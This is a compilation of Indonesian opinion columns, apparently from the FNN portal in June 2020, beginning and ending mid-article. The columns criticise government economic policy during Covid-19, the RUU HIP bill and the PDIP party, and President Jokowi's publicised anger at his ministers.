dikritik ini. Akhirnya harus berhutang. Ini disampaikan Dirut PLN dalam Rapat Dengar Pendapat PLN dengan Komisi VI DPR RI tanggal 25 Juni 2020. Garuda Indonesia, korporasi berstatus hukum sama statusnya dengan PLN, yakni sebagai BUMN, disisi lain juga memperoleh pertolongan dari pemerintah. Pendapatan mereka selama covid anjlok sebesar 90%. Agar tidak tambah berantakan, pemerintah menyuntikan dana melalui skema dana talangan untuk menambah modal kerja, juga untuk efisienssi. Nilainya Rp. 8 trilyun (Lihat Antaranews.Com, 5/6/2020). Liberalisme menjadikan Korporasi sebagai entitas ekonomi, dengan kekuatan politik besar. Atas nama program percepatan pengembangan biodiesel, pemerintah memberi subsidi industri biodiesel sebesar Rp. 2,78 trilyun. Sebelum kebijakan ini, industri biodiesel telah mendapatkan mayoritas dana Sawit sebesar 8,5% yang dikumpulkan oleh BPDKPS sebesar Rp. 38 trilyun sejak 2015-2019. Rata-rata Rp. 7 Trilyun per tahun. Perlakuan liberalistik ini dikritik Gamal Nasir, Ketua Dewan Pembina Persatuan Organisasi Petani Sawit. Menurutnya dibandingkan industri biodisel, petani Sawit hanya memperoleh bantuan sebesar Rp. 1,7 trilyun pada tahun 2020 ini. Bantuan ini diberikan melaui program Peremajaan Sawit Rakyat (PSR). Menurut Gamal industri biodiesel tidak perlu disubsidi. Selama Covid 19, perusahaan biodiesel Wilmar misalnya, yang mengelola program B30 sudah menyumbang 1 trilyun rupiah untuk pencegahan Covid. Itu sebanya Gamal berpendapat industri biodiesel masih mampu bertahan ditengah covid. Selain memberi subsidi, pemerintah juga menaikan pungutan CPO/dana sawit dari U$ 50/ton menjadi U$ 55/ton. Pungutan ini merugikan petani, karena menurunkan sekitar 120150 per kg (Lihat Investor Daily, 7/6/2020). Kebijakan ini tipikal liberalistik. Cara ini juga bekerja pada kebijakan penyediaan dana program pemulihan ekonomi nasional. Menurut PP nomor 23 Tahun 2020, dana itu ditaruh di Bank-Bank Peserta. Jumlahnya, sejauh ini tidak pasti. Tetapi terlepas dari besarannya, penempatan dana ini di bank peserta, telah menjadi soal tersendiri. Dapatkah skema ini dinilai sebagai dana talangan kepada bank-bank itu? Apakah dana yang disalurkan kepada Bank Pelaksana sama nilainya dengan nilai restrukturisasi kredit yang dilakukan Bank Pelaksana itu? Berapa selisih kredit antara korporasi besar dengan UMKM yang jumlahnya jutaan itu? Tak cukup jelas sejauh ini. Terungkap Salah Urus Wajar Menkeu dan BPS memiliki penilaian yang mirip tentang postur perekonomian republik ini. Pernyataan mereka di DPR, jelas maknanya. Inti pernyataan mereka adalah Indonesia memiliki potensi resesi. Sebabnya pertumbuhan ekonomi bisa negatif. Menkeu menilai pertumbuhan ekonomi bisa minus sekian 3,8%, lebih kecil dari perkiraan BPS. BPS memperkiraan ekonomi bisa minus 4,8 %. Bahkan kata Kepala BPS ada yang memperkirakan bisa minus sekitar 7 % (CNNIndonesia, 22/6/2020). Entah berapa uang tersedia di BI dan berapa uang beredar dipasar. Ini tidak diketahui. Kalaupun diketahui, soalnya adalah apakah angka-angka yang disajikan itu kredibel? Soal lainnya apakah negara lain bisa dijadikan sandaran mendapatkan pinjaman? World Bank dan IMF, dua lembaga jago membuat susah negara miskin ini, bisa dipanggil untuk menolong? Resesi ekonomi tahun 1929 memberi ceritanya. Jerman hanyalah satu diantara sejumlah negara Eropa yang berantakan usai perang dunia pertama. Untuk mencegah meluasnya crash itu, Amerika mengambil prakarsa menolong negara-negara itu, terutama Jerman. Presiden Calvin Collidge membentuk apa yang dikenal dengan Daves plan. Ini diresmikan dan mulai beroperasi pada tahun 1924. Tetapi orientasi tersamar plan ini, adalah mendahulukan Jerman. Dalam kenyataannya, sejumlah faktor tak teridentifikasi, bekerja dengan cara sendiri. Hasilnya performa ekonomi Jerman terus memburuk. Muncullah plan lain. Namanya Young plan. Plan ini dirancang oleh Presiden Herbert Hoover, yang pada awal masa pemerintahannya great resesion itu terjadi. Plan ini dirancang dan dioperasikan tahun 1928, setahun sebelum great depression. Walau berbeda dalam titik tekan, Plan ini dimaksudkan mencegah krisis di Eropa, khususnya Jerman. Tetapi Anggela Lanette Smith dalam Economic Revolution From Withim; Herbert Hoover, Franklin D. Rosevelt and the Emergence of The National Industrial Recovery Act, kebijakan-kebijakan itu tak kunjung membuahkan hasil. Penyebabnya beragam. Tetapi esensinya satu; uang bukan hanya tidak lagi cukup beredar ditengah masyarakat, tetapi uang pemerintah juga minus. Menariknya korporasi-korporasi besar Amerika justru mengalihkan investasinya ke Jerman. Bank-Bank utama Amerika meminjamkan kepada korporasi besar Jerman pada kisaran 50-75 %. Tidak itu saja, J.P Morgan menyediakan uang untuk korporasi Jerman antara $100 sampai dengan $200 juta. Chase dan Guaranty Trust menyediakan tidak kurang dari dua miliyar dollar. Jerman, karena terus berorientasi pada infrastruktur canggih, terutama perang, yang tak banyak menyerap tenaga kerja, menjadi penyebab terbesarnya. Jerman akhirnya terjatuh dalam krisis juga. Pada saat yang sama Amerika, hanya membutuhkan satu pukulan kecil, krisis pasar uang, untuk memastikan gerak lanjut ke titik yang sama; resesi. Indonesia hari ini? Itu soalnya. Terlihat babak belur. Pengakuan Menkeu dan Kepala BPS tentang performa ekonomi dan respon Presiden terhadap postur pemerintahan jelas dalam semua aspeknya. Republik terlihat sedang babak belur, dan berada disimpang jalan salah urus. Paradoksnya elemen-elemen dasar republik, juga terlihat merosot terus. Tampilan penegakan hukum dan politik terus menjauh dari harapan keadilan. Kesetaraan dan kepastian hukum semakin kabur. Privilege khas tata negara dan politik liberalistik masih juga bekerja dengan caranya yang khas. Memilukan, kritik dipukul dengan tuduhan makar, penyebar berita bohong dan penghinaan melalui media elektronik. Nuansa fasistik terlihat bekerja memburu intelektual kritis. Liberalistik dan fasistik terlihat berpapasan dengan irama menjungkirbalikan republik. Bisakah segera muncul harapan untuk menyembuhkannya? Mari bermimpi, semoga republik ini tidak terus-terusan tengelam dalam cara itu. Rindukanlah solusi bijak dari para menteri. Menteri memang harus berkreasi. Tetapi republik memesankan, jangan lupa kerangkakan kebijakan itu dalam hukum. Dalam ilmu hukum, krisis tidak bisa dinyatakan secara lisan. Krisis harus dinyatakan secara hukum. Tanggung jawab kolektif, bukan karakter tanggung jawab dalam hukum. Hukum hanya mengenal tanggung jawab individual. Bijak itu harus, tetapi hukum republik memiliki cara mengkualifikasi bijak sebagai motif suatu tindakan hukum. Republik memang sedang merana, tetapi menginjak-injak hukum, bukan pilihan yang ditawarkan republik. Temukanlah cara bijak yang dibenarkan hukum. ** Penulis adalah Pengajar HTN Universitas Khairun Ternate.

Awas Pengalihan Isu Dari RUU HIP

by Tony Rosyid Jakarta FNN – Selasa (30/04). Sejak keluar Maklumat Majelis Ulama Indonesia (MUI), banyak yang isu muncul. Dari isu ringan, sampai isu yzng berat. Macam-macam dan banyak jumlahnya. Tetapi, nampaknya umat Islam lebih tertarik pada isu Rancangan Undang-Undang Haluan Ideologi Pancasila (RUU HIP). Kenapa? Pertama, umat Islam sadar bahwa untuk sukses memperjuangkan sesuatu perlu fokus. Kalau nggak fokus, bisa ambyar. Kedua, RUU HIP diyakini sebagai anugerah. Hadir untuk menyatukan umat. Dengan adanya RUU HIP, umat jadi solid. Ketiga, umat sudah paham, dan tak mau lagi dijebak dengan adanya- pengalihan isu. Itu lagu lama, kata mereka. Karena itu, umat tak bergeser dari isu RUU HIP. Meski media Online dan TV mengangkat isu lain terus menerus untuk menutupi berita RUU HIP. Isu-isu lain itu datang dan pergi, silih berganti. Tapi, nggak bisa lama bertahan. Apalagi sejak lama umat punya keyakinan bahwa hampir semua media mainstream berada dalam tekanan dan kepentingan. Seringkali nggak fair dalam pemberitaan. Ratusan ribu hingga jutaan umat turun ke jalan, namun nggak berita yang ditayangkan. Sementara 30 orang demo kontra umat disiarkan. Bahkan disiarkan berulang-ulang. Peristiwa itu hampir mendominasi semua berita TV. Begitulah potret media mainstream di negeri +62 ini. Kolokan! Kata umat. Faktor ini yang menyebabkan para aktifis umat malas nonton TV. Tak sedikit yang sama sekali tak mau lagi menghidupkan TV. Terlalu banyak tipu-tipu dan pencitraannya, kata para aktifis itu. Di sisi lain, medsos menjadi alternatif pilihan. Habis shalat shubuh sudah sibuk buka medsos. Medsos dianggap lebih polos dan vulgar. Apa adanya dan obyektif. Semua informasi telanjang disampaikan. Nggak ada tim sortir. Bebas dari tekanan. Baca, langsung copas. Tonton, langsung share. Nampaknya, medsos sudah menjadi tempat berselancar yang mengasikkan bagi para aktifis itu. Betul juga sih! Berapa jam anda buka medsos? Coba bandingkan, berapa lama anda nonton TV dan membaca berita di media mainstream? Di medsos, kadang ada Hoax. Tak bisa dipungkiri. Itu wajar! Tapi, secara alami, hoax pun akhirnya terklarifikasi dengan sendirinya. Inilah hukum medsos. Fair dan jujur. Satu dengan yang lain saling kontrol dan mengingatkan. Ini jauh lebih beradab dari media mainstream. Medsos saat ini didominasi isu penolakan terhadap RUU HIP. Setiap hari beredar meme, tulisan dan video demo RUU HIP. Penolakan RUU HIP dan pengusutan para oknum dibalik RUU HIP jadi trending topik. Sudah berminggu-minggu lamanya. Tak bergeser oleh pengalihan isu. Apapun isu itu. Diantara yang berkontribusi untuk menjaga, bahkan menaikkan isu RUU HIP itu adalah adanya ancaman kepada umat Islam yang demo. Rating isu makin tinggi. Sebab, ancaman itu seperti menyiram api kemarahan umat. Lalu, terjadilah demo yang makin masif di berbagai daerah. Hari ini ada demo di Tegal. Massa Longmarch ke DPRD. Sepertinya, si pengancam salah hitung. Gak taktis. Ingat kawan! Silahkan demo. Perjuangkan keyakinan anda. Siapapun anda. Dimanapun berada. Sebesar apapun massa bersama anda. Apapun yang anda perjuangkan. Itu hak konstitusional anda. Tapi, jaga dan kendalikan diri. Jangan terprovokasi. Nggak boleh melanggar hukum. Sekecil apapun. Karena itu akan merusak citra dan niat anda. Indonesia bangsa beradab. Dan orang-orang beradab itu taat hukum. Sok bijak! Hehe Yang menarik, isu RUU HIP ini tidak saja berhenti pada tuntutan untuk dibatalkannya pembahasan. Ttaapi, justru diarahkan juga untuk menuntut adanya pengusutan para oknum di balik RUU HIP. Disinilah faktor krusialnya. Bisa menyasar orang, kelompok, bahkan partai pengusul. Apakah isu RUU HIP ini akan sukses menyeret para oknum itu ke pengadilan? Semua mata di negeri ini sedang ingin mengukur kembali bagaimana ketegasan hukum di era Pak Jokowi ini. Fokus! Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Presiden Marah, Kok Malah Pada Mati Rasa?

Oleh Hersubeno Arief Jakarta, FNN - Komunikasi politik Presiden Jokowi sedang menghadapi persoalan serius. Public distrust yang meluas, membuat apapun yang dilakukan Presiden, salah! Orang pemasaran menyebutnya, Jokowi memasuki tahapan dan situasi brand damage! Marah-marah, salah. Tidak marah, juga salah. Lebih salah lagi ketika marah-marahnya diunggah ke channel youtube. Apalagi kemudian ketahuan marahnya kapan? Diunggahnya kapan? Cobalah tengok ke media sosial, yang kemudian juga diamplifikasi oleh media-media arus utama ( mainstream). Tagar#Marahnya menjadi trending topic. Bikin heboh. Publik untuk sementara fokusnya teralihkan, dari ribut-ribut RUU HIP dan bangkitnya kembali Partai Komunis Indonesia (PKI) Tagar ini muncul sebagai reaksi atas pengarahan Presiden Jokowi pada Rapat Paripurna Kabinet Rabu (18/6). Video pengarahan itu baru diunggah pada Ahad (28/6). Ada jeda 10 hari dari peristiwa. Dalam video berdurasi 10 menit 20 detik itu Presiden Jokowi marah-marah kepada para menterinya. Jokowi bahkan mengancam bakal membubarkan lembaga, dan mereshufle kabinet. Jokowi menilai tiga lembaga/kementerian yang disebutnya sangat lelet. Bekerja biasa-biasa saja. Tidak punya sense of crisis, dan menganggap semuanya berjalan normal. Kementerian kesehatan, kementerian sosial, dan kementerian perekonomian. Kementerian Kesehatan yang dipimpin oleh Terawan disebut pada urutan pertama dan sangat spesifik. Disediakan dana sebesar Rp 75 triliun untuk penanggulangan bencana Covid-19. Eh yang digunakan baru sebesar 1,5 persen. Dari jeda waktu pengunggahan konten marah-marah, dan jeda lama dari peristiwa inilah yang menjadi celah dan pintu masuk kecurigaan. Banyak yang curiga, itu merupakan bagian dari strategi kampanye/marketing politik ala Jokowi. Bahkan banyak yang menyebutnya hanya semacam gimmick, yang menjadi ciri khasnya. Ada pula yang menyamakan dengan Drama Korea. Seru, asyik, tapi itu bukan dunia nyata. Hanya jadi hiburan semata. Untuk lucu-lucuan saja boleh lah. Parahnya sikap sinis itu bukan hanya datang dari kalangan oposisi, . Para pendukung, termasuk die hard Jokowi, sikapnya juga sama. Kalau oposisi wajar. Toh apapun yang dilakukan Jokowi bakal tetap disalahkan. Tapi kalau munculnya dari kalangan pendukung Jokowi, pasti ada yang cukup serius. Meminjam kalimat marahnya Jokowi, “ada yang kondisinya extra ordinary.” Jokower sekelas komedian dan sutradara Ernest Prakasa malah mengaku sudah mati rasa. "Jujur gw udah mati rasa liat presiden marah-marahin menteri. Lebih terkesan kayak publicity stunt," cuit Ernest di Twitternya. Marahnya Jokowi bikin pendukungnya mati rasa. Karena itu hanya publicity stunt, aksi demi publisitas? Ini mah sudah super gawat. Krisis kepercayaan tingkat dewa! Wajar curiga Jarak antara peristiwa dan unggahan di medsos memang pantas dicurigai. Wajar kalau semuanya diduga sudah direncanakan sebagai bagian dari strategi kampanye, pemasaran politik. Termasuk marah-marahnya. Kemungkinan besar video tersebut telah mengalami editing. Dipilih secara cermat poin-poin yang harus sampai pesannya kepada publik. Termasuk target pesan yang harus sampai. Video itu sengaja disimpan dan menunggu waktu yang tepat. Dalam bahasa media, beritanya diembargo. Waktu publikasinya juga dipilih cermat, yakni pada hari libur, sepi berita, sehingga bisa langsung meledak di publik. Tim komunikasi Presiden pasti sangat menyadari bahwa penanganan pandemi yang amburadul, bantuan sosial yang acakadut, dan perekonomian yang ambyar, menjadi keresahan dan memunculkan kemarahan publik. Jadi harus ada placement, jadi kambing hitam. Yang paling empuk menjadi sasaran adalah Menkes Terawan. Sejak awal pandemi, Terawan yang harusnya paling bertanggungjawab, terkesan tidak mengetahui tugas dan tanggung jawabnya. Dia terkesan menganggap enteng, meremehkan. Bekerja biasa-biasa saja, dan menganggap situasinya normal. Tidak ada sense of crisis. Baru berhasil menyembuhkan pasien suspect 1 langsung merayakan. Bikin selebrasi, seolah sudah menang perang. Coba perhatikan kalimat yang digunakan Jokowi ketika dia “marah.” Semuanya pas menggambarkan posisi dan kondisi Terawan. Presiden berkali-kali menggunakan kalimat-kalimat, sense of crisis, berkerja biasa-biasa saja, menganggap situasinya normal, dan bertanggung jawab kepada 267 juta rakyat Indonesia. Kalimat terakhir diulangnya sebanyak tiga kali. Sejauh target meledakkan kemarahan ke publik, tim komunikasi Presiden sangat berhasil. Mereka cukup cermat memilih topik, waktu peluncurannya, dan siapa yang harus menjadi kambing hitam. Mereka juga cukup sukses dalam menyiapkan dan mengerahkan buzzer. Hampir semua unggahan video marahnya Jokowi di berbagai kanal media mendapat komentar positif. Komentarnya hampir seragam baik dari tone, bahkan sampai detil per kalimatnya….Hmmmm Sayangnya mereka tidak menyadari dan tidak tepat membaca psikologi publik. Sejak bencana Corona, publik sangat kecewa dengan cara pemerintahan Jokowi menanganinya. Tidak bisa Jokowi menyalahkan para menteri, anak buahnya. Ketika pandemi merebak, Jokowi dengan gagah menyatakan akan memimpin perang melawan Corona. Publik juga mencatat penegasan Jokowi, tidak ada visi misi menteri. Yang ada visi misi presiden-wakil presiden. “Tolong itu dicatat,” tegasnya ketika memimpin sidang kabinet pertama 24 November 2019. Jadi para menteri hanya melaksanakan tugas, mengimplementasikan visi misi Presiden. Kalau para menteri tidak bekerja sesuai visi misi, tidak sesuai harapan Presiden, tinggal pecat. Cukup segera copot, ganti, cari yang lebih tepat. Cari menteri yang bisa menjalankan tugas dan visi misi presiden. Tidak perlu mengumbar kesalahan, memarahi, dan mengancam reshufle di depan publik. Jangan salahkan publik kalau skeptis, mati rasa, menilai Presiden lebay. Mereka sudah terbiasa dan mahfum dengan gaya Jokowi. Dari sisi komunikasi, tim komunikasi politik Jokowi gagal total. Mereka tidak menyadari adanya brand damage (merek dagang yang rusak).Alih-alih mencoba melakukan mitigasi dan memperbaiki kerusakan, mereka mencoba mengalihkan kesalahan ke pihak lain, para menteri. Dalam teori pemasaran, brand damage terjadi karena sebuah brand secara konsisten tidak memenuhi janjinya kepada konsumen. Antara produk dan promosinya tidak nyambung. Terlalu dilebih-lebihkan. Over estimated. Brand-brand semacam ini hanya menarik konsumen karena didukung kampanye besar-besaran di media. Namun lama-kelamaan akan kehilangan kepercayaan dari konsumen dan kemudian ditinggalkan. Bahaya itu lah yang kini tengah mengancam Jokowi. Apapun yang dilakukannya, salah. Jokowi lagi mati gaya. End Penulis Wartawan Senior

Tak Pantas Untuk Pak Presiden Marah-Marah

by M Rizal Fadillah Jakarta FNN – Selasa (30/06). Rapat tertutup Kabinet tanggal 18 Juni 2020 disebarkan seminggu kemudian. Yang menyebarkan ke publik itu pihak Istana Negara sendiri. Mungkin menganggap arahan Presiden itu hebat dan dapat membangun dan menaikkan citra diri Presiden. Dengan menyebarkan rapat tertutup tersebut, harapannya publik menjadi berbaik hati dalam menilai Presiden. Bahwa Presiden yang peduli kepada rakyat. Presiden yang tegas dan sangat disiplin, atau entah apalagi namanya. Dengan begitu, Presiden dapat banjir pujian dari masyarakat. Sayangnya, tingkat kepercayaan kepada Presiden sekarang semakin merosot di masyarakat. Kenyataan ini menyebabkan muncul beragam reaksi dan penilaian atas pidato pengarahan Presiden di rapat kabinet yang semula tertutup tersebut. Alih alih mendapat pujian. Banyak tanggapan miring bermunculan. Bahkan ada yang menyebutnya sebagai "dagelan istana". Memang adegan tersebut, nyata-nyata memperlihatkan kelemahan kepemimpinan Jokowi. Ada sejumlah alsan dan peetimbangan dari kelemahan tersebut. Pertama, nampak telah terjadi kepanikan. Nada putus asa atas kondisi yang ada sekarang ini sangat jelas dan terang. Terkesan pemerintah sudah gagal. Sebabnya adalah menteri-menteri yang bersikap "biasa-biasa saja". Tidak juga tampak adanya kepanikan di kalangan para menteri. Karena mereka menganggap kondisi ini “biasa-biasa saja”. Tidak ada yang hebat atau istimewa. Kedua, Presiden sangat tidak bijak. Karena sikap Presiden yang mempertontonkan kemarahan kepada pembantunya di depan rakyat. Ini model dan contoh dari bentuk kepemimpinan marah-marah, seperti kebiasaan Ahok dan Risma. Bukan contoh yang layak dan pantas untuk diperlihatkan kepada rakyat. Ketiga, sangat mempermalukan. Menkes adalah korban terberat dari adegan yang tidak layak dan pantas ini. Dana yang disediakan kata Presiden, tak sebanding dengan tingkat penyerapan. Penyataan Presiden yang asal ngomong. Sebab tanpa adanya analisis penyebab, dan solusi perbaikan yang diperintahkan Presiden. Keempat, mudah menggampangkan masalah. Aturan yang tersedia, dari Perpres hingga Perppu dianggap enteng-enteng saja. Perppu itu diadakan hanya untuk keadaan yang sangat "genting dan memaksa". Bila terjadi kekosongan. Bukan hanya sekedar untuk "mengeluarkan duit" dengan cara yang dipaksa-paksa. Kelima, mengancam dan sok kuasa. Tak ada empati dan mendalami persoalan dengan baik. Yang ada hanya ancaman untuk melakukan reshuffle kabinet. Bila ini bukan sandiwara, maka menteri harusnya tersinggung. Menteri harus segera mengundurkan diri semua. Itu baru "nyaho". Keenam, Presiden tampak otoriter. Bukan bukan lagi sebagai koordinator. Arahan yang seperti ini mungkin saja akan dijalankan. Namun secara terpaksa atau tidak bertanggungjawab. Menteri akan semakin berkerja dengan asal asalan saja. Yang penting duit keluar, karena ada perintah. Inin sangat berbahaya. Ketujuh, terlihat aneh. Karena rapat kabinet tidak seperti layaknya sebuah rapat. Akan tetapi seperti agenda ceramah. Menteri hadir hanya untuk mendengarkan ceramah dari Presiden. Bukan meja rapat yang digunakan. Yang terlihat adalah meja indoktrinasi kepada para menteri. Kedelapan, pandemi covid dimanfaatkan sebagai tameng untuk berbuat apa saja. Termasuk untuk menghambur-hamburkan uang negara. Terkesan Presiden seperti marah, karena menterinya tak mahir memainkan dana covid-19. Ujung dari semua episode ini adalah Presiden Jokowi sebagai penanggungjawab pemerintahan, sebenarnya telah malu. Karena memiliki korps menteri yang kelasnya hanya bisa diam dan termenung. Juga hanya bisanya mencatat apa yang disemburkan itu. Padahal di hadapan Presiden itu ada guru besar, pengusaha, atau jenderal tentara dan polisi. Namun demikian, sebagai dagelan, ya mungkin itu bisa-bisa saja. Orang curiga dan ragu karena Pak Presiden sering ketahuan "actingnya”. Peristiwa rapat inipun membuat orang berfikir juga. Benarkah adegan tersebut adalah marah-marah sebenarnya. Kalau pun benar iya, adakah dampak politiknya ? Akibatnya, ada juga kawan "nyeletuk" sebenarnya mana yang lebih mendesak sih? Resuffle Menteri atau Presiden ? Sekali lancung ke ujian, seumur hidup orang tak lagi percaya. Begitulah akibatnya. Penulis adalah Pemerhati Politik dan Kebangsaan.

Namanya “Gerombolan Trisila dan Ekasila”

by M Rizal Fadillah Jakarta FNN – Selasa (30/06). Sempat kaget dengan ungkapan dan penjelasan Ustad Eddy Mulyadi. Kordinator Lapangan (Korlap) aksi unjuk rasa menolak Rancangan Undang-Undang Haluan Ideologi Pancasila (RUU HIP) di depan Gedung DPR RI membuat pernyataan yang viral di media sosial. Setelah kaget, akhirnya jadi balik tersenyum juga. Ada predikat atau nama baru yang dilemparkannya Ustad Edy Mulyadi, yaitu "Gerombolan Trisila dan Ekasila". Tersenyum, karena bisa bisanya Ustad yang wartawan senior dari Portal Berita FNN.co.id ini berani dan tegas ini mengkristalisasi lawan umat Islam. Sekaligus lawan Pancasila itu sebagai gerombolan. Cukup argumentatif klarifikasi atau penegasannya. Soal bakar bendera dinyatakan sebagai sebuah insiden, karena tidak ada dalam agenda yang direncanakan oleh peserta aksi demonstrasi. Bahkan tak tertutup kemungkinan dilakukan oleh penyusup yang sengaja membawa bendera PDIP. Kalaun bendera PKI yang dibakar tidak masalah. Meskipun pembakaran bendera PKI juga juga tidak ada dalam agenda awal aski di depan DPR. Namun Ustad Edy Mulyadi menyatakan tak keberatan jika dibawa ke proses hukum. Nah, sebutan gerombolan Trisila dan Ekasila menarik, karena beberapa sebab. Pertama, Trisila dan Ekasila bukanlah Pancasila. Jadi bisa merupakan ideologi tandingan terhadap Pancasila. Kita lima sila. Dia atau mereka hanya tiga sila saja. Dengan demikian, berjuang demi Trisila dan Ekasila untuk mengubah Pancasila. Mengubah Pancasila adalah makar terhadap ideologi. Kedua, setiap perjuangan ideologi Trisila dan Ekasila agar di masa depan dapat diterima untuk menggantikan Pancasila merupakan tindak yang nyata-nyata kriminal. Diancam dengan KUHP Pasal 107. Sanksi pidananya tidak main-main. Pidana penjara selama dua puluh tahun. Ketiga, Trisila dan Ekasila hanya tawaran Bung Karno seorang diri. Tidak menjadi kesimpulan kesepakatan dari para pendiri bang. Baik itu, di Badan Persiapan Usaha Kemerdekaan Indonesia (BPUPKI) maupun Panitia Persiapan Kemerdekaan Indonesia (PPKI). Pada dua lembaga yang mempersiapkan kemerdekaan Indonesia ini, ada Bung Karno di dalamnya. Karenanya perjuangan Trisila dan Ekasila bukan merealisasikan semangat Bung Karno. Sebaliknya, justru mengkhianati Bung Karno sendiri. Sebab Bung Karno juga ikut menyepakati bahwa Ideologi Negara awalnya adalah Piagam Jakarta. Selanjutnya menjadi Pancasila tanggal 18 Agustus 1945. Tidak mungkin Trisila dan Ekasila bisa diterima. Baik itu secara politik maupun hukum perjuangan ideologi Trisila dan Ekasila tersebut. Makanya menjadi sangat wajar jika upaya untuk mewujudkannya di negara Republik Indonesia menjadi bertentangan dengan konstitusi. Dapat saja dinyatakan sebagai perjuangan yang ilegal. Melanggar hukum, karena makar terhadap konstitusi. Kelompok gerakan apapun baik di bidang sosial, ekonomi, budaya, ataupun politik yang berjuang untuk Trisila dan Ekasila dengan semangat menggantikan Pancasila jelas-jelas merupakan gerombolan makar. Akhirnya dapat dimengerti mengapa Korlap aksi menyebutnya sebagai "Gerombolan Trisila dan Ekasila". Memang RUU HIP menguak banyak hal. Ada ceritra seram, namun ada juga yang lucu. Di tengah keseraman ternyata ada kelucuan. Seramnya pasukan tegap siap gerak jalan. Lucunya jalannya mundur ke belakang. Mundur ke gorong-gorong Trisila dan Ekasila. Pancasila berlaku untuk sekarang dan ke depan. Tentu Pancasila yang sila pertamanya adalah Ketuhanan Yang Maha Esa. Bukan yang diperas-peras menjadi Trisila dan Ekasila itu. Pancasila bukan jeruk nipis yang bisa diperas. Penulis adalah Pemerhati Politik dan Kebangsaan.

RUU HIP, Monster Buatan PDIP Yang Akhirnya Mengejar Mereka

by Asyari Usman Jakarta FNN – Senin (29/06). Mungkin PDIP tidak menduga RUU HIP bisa sampai seperti sekarang ini. Ditolak keras dan dilawan di mana-mana. Partai ‘merah darah’ ini dituduh melakukan makar terhadap dasar negara, Pancasila. Tuduhan ini adalah logika dari keinginan mereka untuk mengubah Pancasila menjadi Trisila dan Ekasila. Lalu menjadi Gotong Royong. PDIP, sebagimana diakui Sekjen Hasto Kristianto (28/6/2020), mengusulkan RUU yang menyerempet bahaya itu. Merekalah yang mengusulkan ekstraksi Pancasila menjadi Trisila-Ekasila. Singkatnya, PDIP hendak memeras Pancasila menjadi semboyan Gotong Royong. Ketuhanan Yang Maha Esa hendak diubah menjadi ‘ketuhanan yang berkebudayaan’ (KYB). Tak jelas apa maksud dan tujuan KYB itu. Tanpa pakai seminar-seminaran, pastilah langkah mengekstraksikan (memeras) Pancasila menjadi Ekasila akan memancing kegaduhan. Sebab, sila yang teramat penting di Pancasila –yaitu Ketuhanan Yang Maha Esa— otomatis akan tercoret akibat pemerasan itu. Ini sangat sensitif bagi rakyat. Khususnya bagi umat beragama. Lebih khusus lagi bagi umat Islam. Sangat tak masuk akal kalau PDIP tak memahami sensitivitas itu. Sekarang, RUU HIP berubah menjadi ‘home made monster’. Monster yang dibuat sendiri oleh PDIP. Monster itu akhirnya mengejar mereka. Banteng pun terbirit-birit. Sendirian pula. Parpol-parpol lain yang semula mendukung, cepat-cepat menjauhkan diri. Monster ini bisa distop, kalau PDIP berkenan. Mudah sekali. Coret saja RUU HIP dari prolegnas (program legislasi nasional). Dicabut, jangan dilanjutkan. Terus, semua dokumen berupa ‘softcopy’ dihapus. Dokumen ‘hardcopy’ (cetakan) dimusnahkan. Masukkan ke tong sampah. Sebaiknya, jangan coba-coba membuat muslihat dengan mengganti nama atau judul RUU itu. Rakyat akan tahu kalau ada pihak yang main akal-akalan untuk tetap merealisasikan RUU HIP. Dengan make-up baru. Cabut sajalah. Selesai perkara. Kalau tidak dicabut, cuma ditangguhkan, itu sama saja dengan memencet tombol hidup-mati ke posisi off. Kapan-kapan bisa dihidupkan lagi. Tapi, ingat, begitu Anda nyalakan kembali, monster itu malah akan mengejar lebih galak lagi. Jadi, harus dibatalkan. Janganlah main api lagi. RUU HIP menghina Ketuhanan Yang Maha Esa (KYME). Ratusan juta orang yang bertuhan, beragama, berakidah, pasti akan tersulut. Mereka siap menjadi mayat jika itu diusik. Apalagi kalau diusik untuk kepentingan komunisme-PKI. Jadi, sudahlah. Tak usah berkeras untuk melanjutkan RUU ini. Kalau pun Anda katakan sudah diubah total, orang tak akan percaya. RUU HIP sudah tidak ‘credible’ lagi. Cabut dan batalkan saja. Itu jauh lebih baik. Dan, ingat juga! Jangan pernah lagi ada blok politik yang berusaha dengan segala cara untuk melenyapkan KYME. Atau menggiring ketuhanan ke dalam konsepsi sosio-kultural. Berat itu. Pasti berantakan. Sekarang, ada baiknya PDIP meminta maaf kepada seluruh rakyat atas rencana mereka untuk melenyapkan sila KYME itu. Mari kita coba membangun kembali ‘trust’ (kepercayaan) rakyat pada PDIP. Andaikata masih bisa. Tapi, tidak mudah merekonstruksi ‘trust’ itu. Kalau pun bisa, ‘cacat ideologi’ PDIP akan terbawa terus ke dalam tidur 260 juta umat yang ber-Ketuhanan Yang Maha Esa. Trisila-Ekasila akan terpatri di benak publik. Satu hal lainnya. Tidak akan pernah hilang dari ingatan rakyat tentang upaya PDIP menghapus sila Ketuhanan Yang Maha Esa itu. Mau tak mau, ini akan membuat rakyat senantiasa mewaspadai partai Banteng. Kewaspadaan permanen, sepanjang zaman. Penulis adalah Wartawan Senior

Tujuh Keajaiban dan Kejutan Dari RUU HIP

by Mayjen TNI (Purn) Prijanto “Endog sak petarangan netese bedo-bedo (bahasa Jawa) atau telur sesarang dierami induknya, menetasnya beda-beda” (Peribahasa). Jakarta FNN – Senin (29/06). Rancangan Undang-Undang Haluan Ideologi Pancasila (RUU HIP) menggeser isu aktual Covid 19 dan anggarannya. Juga menggeser PLN dan listrik swastanya. Pertamina dengan privatisasi sub holding migasnya. Defisit Anggaran Pendapatan dan Belanja Negara (APBN) yang dramatis, beban sepuluh tahun ke depan, dan lain-lain. Selain itu, menggeser pula isu actual. Memproduksi dan melahirkan banyak keajaiban dan kejutan. Tetapi disini hanya diambil tujuh. Mengapa tujuh? Penulis suka angka tujuh. Jagat raya dibentuk dalam tujuh masa. Langit dan bumi masing-masing tujuh lapis. Thawaf tujuh kali keliling Ka’bah. Sa’i juga tujuh kali Shafa-Marwah. Surat Al Fatihah tujuh ayat, warna dasar tujuh macam, dan seminggu tujuh hari. Bersifat pribadi, istri juga suka angka tujuh. Anak-cucu tanggal kelahiran ada unsur tujuhnya. Penulis dilantik sebagai Wagub DKI Jakarta pada tanggal 7 Oktober 2007. Bersama kawan-kawan seperjuangan mendeklarasikan Gerakan Kebangkitan Indonesia pada 7 Januari 2018. Lalu apa saja keajaiban dan kejutan yang dimaksud ? Pertama, pemahaman Pancasila. Selama ini ada yang sinis terhadap Badan Pembinaan Pendidikan Pelaksanaan Pedoman Penghayatan Pengamalan Pancasila (BP7). Dengan Pedoman Penghayatan dan Pengamalan 